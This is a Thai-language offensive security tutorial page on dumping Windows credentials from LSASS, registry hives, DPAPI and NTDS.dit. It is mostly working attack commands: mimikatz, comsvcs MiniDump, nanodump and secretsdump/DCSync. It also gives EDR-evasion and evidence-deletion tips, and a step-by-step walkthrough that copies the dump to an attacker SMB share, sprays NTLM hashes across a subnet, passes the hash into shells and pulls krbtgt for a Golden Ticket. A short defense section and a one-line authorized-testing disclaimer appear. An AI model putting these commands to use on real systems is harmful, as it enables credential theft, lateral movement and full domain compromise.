Credential Dumping (LSASS)
Credential Dumping คือการดึง credential (NTLM hash, plaintext, Kerberos ticket, DPAPI secret) จาก Windows แหล่งหลักคือ <strong>LSASS process</strong> ในหน่วยความจำ และ <strong>SAM/SECURITY/SYSTEM</strong> registry hive ใช้เพื่อ lateral movement และยกระดับหลังได้สิทธิ์ admin/SYSTEM บทนี้ครอบคลุมทุกแหล่ง: LSASS (comsvcs, mimikatz, nanodump, procdump), SAM+SYSTEM, LSA secrets, cached domain creds, DPAPI, และ NTDS.dit (ทั้งโดเมน) พร้อมการวิเคราะห์ offline, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. แหล่ง credential บน Windows
LSASS (Local Security Authority Subsystem Service) เก็บ credential ของ session ที่ login อยู่ในหน่วยความจำ: NTLM hash, Kerberos ticket, และบางกรณี plaintext (WDigest/credential provider) แหล่งอื่น: SAM hive (hash ของ local account), SECURITY hive → LSA secrets (รหัส service account, auto-logon) และ cached domain credentials (DCC2), DPAPI (browser/Credential Manager/RDP), และบน DC คือ NTDS.dit (hash ของทุกบัญชีในโดเมน) การเข้าถึง LSASS ต้องมี admin/SYSTEM + สิทธิ์ SeDebugPrivilege
| แหล่ง | ได้อะไร | ต้องการสิทธิ์ |
|---|---|---|
| LSASS | NTLM hash + ticket + (plaintext) | admin/SYSTEM + SeDebug |
| SAM + SYSTEM hive | NTLM ของ local account | SYSTEM / SeBackup |
| SECURITY (LSA secrets) | service acct, auto-logon, DPAPI backup | SYSTEM |
| cached creds (DCC2) | domain hash (crack ช้า) | SYSTEM |
| DPAPI | browser/saved password, RDP, cred | user context + masterkey |
| NTDS.dit (DC) | hash ของทุกบัญชีในโดเมน | admin บน DC / DCSync |
2. LSASS dump — หลายเทคนิค
แนวทางที่ปลอดภัยและ OPSEC ดีที่สุดคือ dump LSASS เป็นไฟล์แล้ววิเคราะห์ offline (บนเครื่องเรา) แทนการรัน mimikatz บน target ตรง ๆ (ซึ่งโดน AV/EDR ง่าย) เทคนิค dump มีหลายแบบ ตั้งแต่ LOLBin ในตัว Windows ไปจนถึงเครื่องมือเฉพาะที่เลี่ยง detection
# หา PID ของ lsass ก่อน
tasklist /fi "imagename eq lsass.exe"
# หรือ: Get-Process lsass | Select-Object Id
# --- LOLBin: comsvcs.dll (ในตัว Windows ไม่ต้องนำ tool เข้า) ---
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full
# --- ProcDump (Sysinternals — signed, มัก bypass AV) ---
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
# --- nanodump (dump แบบ evasive: syscalls, invalid signature, encrypted) ---
nanodump.exe --write C:\Temp\lsass.dmp
# หรือรันผ่าน Cobalt Strike/BOF; nanodump ทำ dump ที่ EDR จับยากกว่า
# --- Task Manager (GUI): right-click lsass.exe > Create dump file ---
# --- mimikatz (ตรงสุด แต่โดน AV บ่อย) ---
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords # hash + plaintext ของ session
mimikatz # sekurlsa::tickets /export # Kerberos tickets# pypykatz (Linux/Python — ไม่ต้องแตะ target อีก)
pypykatz lsa minidump lsass.dmp
# → NTLM hash, plaintext (ถ้ามี), Kerberos keys
# หรือใน mimikatz โหลด minidump
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords| เทคนิค | ต้องนำ tool เข้า? | OPSEC |
|---|---|---|
| comsvcs MiniDump | ไม่ (LOLBin) | ดี — เป็น binary ในตัว แต่ command line เด่น |
| ProcDump | ใช่ (signed) | ปานกลาง — signed มัก allowlist |
| nanodump | ใช่ | ดีมาก — ออกแบบเลี่ยง EDR |
| Task Manager | ไม่ | ดี — GUI ปกติ แต่ต้อง interactive |
| mimikatz sekurlsa | ใช่ | แย่ — signature โดน AV แน่ |
3. SAM + SYSTEM (local account hash)
# บนเครื่อง Windows (ต้อง SYSTEM/SeBackup) — save hive
reg save HKLM\SAM C:\Temp\sam.save
reg save HKLM\SYSTEM C:\Temp\system.save
reg save HKLM\SECURITY C:\Temp\security.save
# วิเคราะห์ offline ด้วย impacket (Linux)
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# → local NTLM hash + LSA secrets + cached domain creds (DCC2)
# volume shadow copy (ถ้า hive ถูก lock)
# vssadmin create shadow /for=C: แล้ว copy จาก shadow path4. Remote dump (secretsdump / CME)
# secretsdump.py — SAM + LSA + cached (และ DCSync ถ้าเป็น DC)
secretsdump.py domain.local/user:password@target
# pass-the-hash (ไม่ต้องรู้รหัส — ใช้ NT hash)
secretsdump.py -hashes :NThash domain.local/user@target
# เฉพาะ LSA / เฉพาะ SAM
secretsdump.py -just-dc domain.local/user:pass@dc # DCSync ทุกบัญชี (บน DC)
# NetExec / CrackMapExec — dump หลายเครื่องพร้อมกัน
nxc smb 10.10.10.0/24 -u user -p pass --sam --lsa
nxc smb 10.10.10.0/24 -u user -H NThash --lsasecretsdump.py -just-dc คือ DCSync — ดึง hash ของทุกบัญชีในโดเมน (รวม krbtgt → ทำ Golden Ticket ต่อได้) ดูหัวข้อ DCSync และ Golden Ticket5. DPAPI (browser / saved creds / RDP)
DPAPI (Data Protection API) เข้ารหัส secret ของ user เช่นรหัส Chrome/Edge, Credential Manager, Wi-Fi, RDP ด้วย masterkey ที่ผูกกับรหัสผ่าน/SID ของ user ถอดได้เมื่ออยู่ใน context ของ user นั้น มี masterkey หรือรู้รหัสผ่าน user — และ Domain Admin ถอด masterkey ของทุก user ได้ผ่าน domain backup key
# ถอด masterkey (ใน user context พร้อมรหัส หรือใช้ /rpc ผ่าน DA)
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<userpass>
# หรือใช้ domain backup key (DA): /rpc
# ถอด credential blob / Chrome login data
mimikatz # dpapi::cred /in:"C:\Users\u\AppData\Local\Microsoft\Credentials\<file>"
mimikatz # dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"
# SharpDPAPI (เก็บ + ถอดรวดเดียว)
SharpDPAPI.exe triage # list vault/cred/rdp
SharpDPAPI.exe masterkeys /password:<userpass>
# pypykatz dpapi (Linux offline) ก็ทำได้6. NTDS.dit — hash ทั้งโดเมน (บน DC)
# วิธี 1: DCSync (ไม่ต้องแตะไฟล์ — ต้องมีสิทธิ์ replication / DA)
secretsdump.py -just-dc domain.local/admin:[email protected]
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# วิธี 2: copy ไฟล์ NTDS.dit + SYSTEM (บน DC ต้อง admin)
# NTDS.dit ถูก lock → ใช้ VSS / ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ifm" q q
# ได้ Active Directory\ntds.dit + registry\SYSTEM
# วิเคราะห์ offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# crackmapexec/nxc
nxc smb dc -u admin -p pass --ntds7. Decision Flow
8. การตรวจจับ & OPSEC
| สัญญาณ | ตรวจที่ไหน | หมายเหตุ |
|---|---|---|
| process เปิด handle ไป lsass | Sysmon Event 10 | GrantedAccess 0x1010/0x1410 = อ่าน memory |
| rundll32 + comsvcs MiniDump | Sysmon Event 1 / cmdline | LOLBin dump — cmdline เด่น |
| reg save HKLM\SAM | Event 4657 / cmdline | ดึง hive |
| ntdsutil ifm / VSS | Event 4688 / 325 | copy NTDS.dit |
| DCSync (DRSGetNCChanges) | Event 4662 replication GUID | จาก non-DC = แดง |
- OPSEC: dump แล้ววิเคราะห์ offline — ไม่รัน mimikatz sekurlsa บน target
- OPSEC: ใช้ nanodump / เทคนิค evasive แทน comsvcs ถ้ามี EDR (comsvcs cmdline ถูก signature จับ)
- OPSEC: ลบไฟล์ .dmp/.save หลังคัดลอกออก และหลีกเลี่ยงชื่อไฟล์ที่เด่น
- OPSEC: DCSync จาก host ที่ไม่ใช่ DC = สัญญาณชัด — ทำจากบริบทที่สมเหตุสมผลถ้าเลี่ยงได้
9. Blue Team — การป้องกัน
- Credential Guard (VBS): แยก LSASS secret ไว้ใน virtualized container — mimikatz อ่าน plaintext/NTLM ไม่ได้
- RunAsPPL (LSASS Protected Process Light): กันการเปิด handle ไป lsass จาก process ทั่วไป
- ปิด WDigest: ตั้ง UseLogonCredential=0 เพื่อไม่ให้ plaintext อยู่ใน LSASS
- Monitor Sysmon Event 10 (handle ไป lsass ด้วย access mask อ่าน memory) และ 4688 (procdump/rundll32)
- จำกัด local admin + LAPS: รหัส local admin สุ่มต่อเครื่อง ตัด lateral ด้วย SAM hash เดียวกัน
- Tier 0 protection บน DC: จำกัดสิทธิ์ replication (กัน DCSync), monitor 4662 replication GUID จาก non-DC
- Attack Surface Reduction (ASR): เปิด rule 'Block credential stealing from lsass.exe'
10. Walkthrough — CTF & real engagement
- 1ได้ admin/SYSTEM บน WS01 (จาก privesc) → หา PID lsass: tasklist /fi "imagename eq lsass.exe"
- 2dump: rundll32 comsvcs.dll, MiniDump
C:\Temp\lsass.dmp full - 3คัดลอก lsass.dmp ออกมา (smb/http) แล้ววิเคราะห์: pypykatz lsa minidump lsass.dmp
- 4ได้ NTLM hash ของ domain user ที่เคย login บน WS01 (เช่น svc_admin)
- 5pass-the-hash: nxc smb
-u svc_admin -H → หาว่าเป็น admin เครื่องไหนบ้าง - 6เจอว่า svc_admin เป็น admin บน SRV02 → secretsdump.py -hashes :NThash → hash เพิ่ม
- 7ไต่จนได้ Domain Admin → บน DC: secretsdump.py -just-dc (DCSync) → ดึง krbtgt → Golden Ticket
- 8ลบไฟล์ .dmp และรายงานทุก host ที่ dump ใน engagement report
11. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา
- ลืม SeDebug/SYSTEM: เปิด handle ไป LSASS ไม่ได้ถ้าไม่ใช่ admin+SeDebug — ใช้ privilege::debug (mimikatz) หรือรันเป็น SYSTEM
- dump แต่ RunAsPPL/Credential Guard เปิด: ได้ไฟล์แต่ pypykatz ไม่เจอ secret — ต้อง bypass PPL (mimikatz !+ / mimidrv) หรือหาแหล่งอื่น
- SAM ไม่มี SYSTEM hive: secretsdump LOCAL ต้องมี -system ด้วย (bootkey) ไม่งั้นถอดไม่ได้
- comsvcs cmdline โดน EDR: ใช้ nanodump / Task Manager GUI แทน
- clock/format ของ ticket: sekurlsa::tickets /export ได้ .kirbi — ต้อง convert/import ให้ถูก (Rubeus ptt / ticketConverter.py)
- ลืมว่าได้แค่ hash ที่ 'เคย login': LSASS มีเฉพาะ session ที่เคย/กำลัง login — ไม่มี user ที่ไม่เคยแตะเครื่องนี้
12. Quick Reference
- LSASS (LOLBin):
rundll32 comsvcs.dll, MiniDump PID lsass.dmp full - evasive: nanodump; signed: procdump -ma lsass.exe
- วิเคราะห์ offline:
pypykatz lsa minidump lsass.dmp(เลี่ยง AV) - SAM+SYSTEM: reg save HKLM\SAM/SYSTEM/SECURITY → secretsdump.py LOCAL
- remote:
secretsdump.py user:pass@target; PtH:-hashes :NT - DPAPI: mimikatz dpapi::chrome / dpapi::cred / SharpDPAPI triage
- NTDS (DC): secretsdump.py -just-dc (DCSync) หรือ ntdsutil ifm → krbtgt
- ป้องกัน: Credential Guard, RunAsPPL, ปิด WDigest, LAPS, Sysmon Event 10, ASR
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งได้ admin/SYSTEM บนเครื่อง Windows เป้าหมายแล้ว (มาจากช่องทางไหนก็ตาม) แต่อยากไปต่อในเครือข่าย มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อดึง credential แล้วเอาไปใช้
- 1ยืนยันสิทธิ์ก่อน: บนเป้าหมายพิมพ์ whoami และ whoami /priv ดูว่ามี SeDebugPrivilege
- 2หา PID ของ lsass: tasklist /fi "imagename eq lsass.exe"
- 3dump ด้วย LOLBin ในตัว Windows (ไม่ต้องนำเครื่องมือเข้า): rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump
C:\Windows\Temp\lsass.dmp full - 4เปิด SMB server บน Kali เพื่อดึงไฟล์กลับมา: impacket-smbserver share $(pwd) -smb2support แล้วบนเป้าหมาย copy C:\Windows\Temp\lsass.dmp \\
\share\ - 5บน Kali วิเคราะห์ offline (ไม่ต้องรัน mimikatz บนเป้าหมายเลย): pypykatz lsa minidump lsass.dmp
- 6ดูผลลัพธ์ — มองหา NTLM hash / plaintext password ของ user ที่เคย login
- 7เอา NTLM hash ที่ได้ไปสแกนกับทั้ง subnet: nxc smb 10.10.10.0/24 -u
-H --local-auth - 8ถ้าเจอเครื่องที่ hash ใช้เป็น admin ได้ (ขึ้น Pwn3d!) ให้ pass-the-hash เข้าไปเลย: impacket-psexec -hashes :
domain/user@ หรือ evil-winrm -i -u user -H - 9ถ้า dump LSASS ไม่ได้ (RunAsPPL/Credential Guard เปิด) ลองดึง SAM+SYSTEM hive แทน: reg save HKLM\SAM sam.save และ reg save HKLM\SYSTEM system.save แล้ว secretsdump.py -sam sam.save -system system.save LOCAL
- 10ถ้าเครื่องเป็น Domain Controller ให้ข้ามไปทำ DCSync แทนทั้งหมด (secretsdump.py -just-dc)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| dump LSASS (LOLBin) | rundll32 (มากับ Windows เป้าหมาย) | - | lolbas-project.github.io (ค้น comsvcs.dll) |
| ส่งไฟล์ dump ออกจากเป้าหมาย | impacket-smbserver | pipx install impacket | - |
| วิเคราะห์ dump offline | pypykatz | pipx install pypykatz | - |
| ดึง SAM/SYSTEM/NTDS ระยะไกล | secretsdump.py (impacket) | pipx install impacket | - |
| spray hash หลายเครื่อง | nxc (netexec) / crackmapexec | pipx install netexec | - |
| pass-the-hash เข้า shell | impacket-psexec/wmiexec, evil-winrm | gem install evil-winrm | - |
| crack hash ที่ได้ (ถ้าต้อง plaintext) | hashcat / john | - | crackstation.net, hashes.com |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้